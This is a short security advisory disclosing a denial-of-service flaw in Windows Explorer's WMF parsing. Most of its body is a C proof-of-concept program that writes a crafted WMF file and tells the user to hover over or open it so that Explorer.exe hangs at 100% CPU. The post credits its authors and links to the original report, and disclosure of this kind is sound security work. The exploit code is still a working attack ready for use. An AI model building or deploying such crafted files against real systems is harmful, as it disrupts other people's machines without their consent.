[EXPL] Explorer.exe WMF Parsing DoS (Exploit)

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  Explorer.exe WMF Parsing DoS (Exploit)
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SUMMARY

A crafted .WMF file cause the Explorer.exe process to use 100% of CPU and 
can cause the system to hang until the process is killed.

DETAILS

Exploit:
/*
* Created by: RiP
* This is a proof of concept for the WMF parsing bug (this has not yet 
been patched by Microsoft)
* Credits go to liquid ([email protected])
* Tested on: Windows XP SP1 and Windows 2000 SP4
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char hexcode[]=

"\xD7\xCD\xC6\x9A\x00\x00\x00\x00\x00\x00\xA1\x21\xEC\x29\xEC\x09"
"\x00\x00\x00\x00\xB0\x56\x01\x00\x09\x00\x00\x03\x0E\x00\x00\x00"
"\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x02\x00\x00"
"\x00\x00";

int main(int argc,char *argv[]) {
 FILE *wmffile;

 if (argc < 2) {
  printf("Syntax: %s <filename.wmf>\n", argv[0]);
  exit(1);
 }

 if (!(wmffile = fopen(argv[1],"wb"))) {
  printf("Error opening %s\n", argv[1]);
 } else {
  fwrite(hexcode,1,sizeof(hexcode),wmffile);
  fclose(wmffile);
  printf("Specially crafted .wmf file\n");
  printf("Double click or move the mouse over the file in windows 
explorer\n");
  printf("Then press CTRL+SHIFT+ESC (notice the 100%) and terminate 
Explorer.EXE\n");
 }

 return 0;
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Nick H.
The original report for this a advisory can be found at:  
<http://www.securiteam.com/windowsntfocus/5CP081FFFY.html> 
http://www.securiteam.com/windowsntfocus/5CP081FFFY.html



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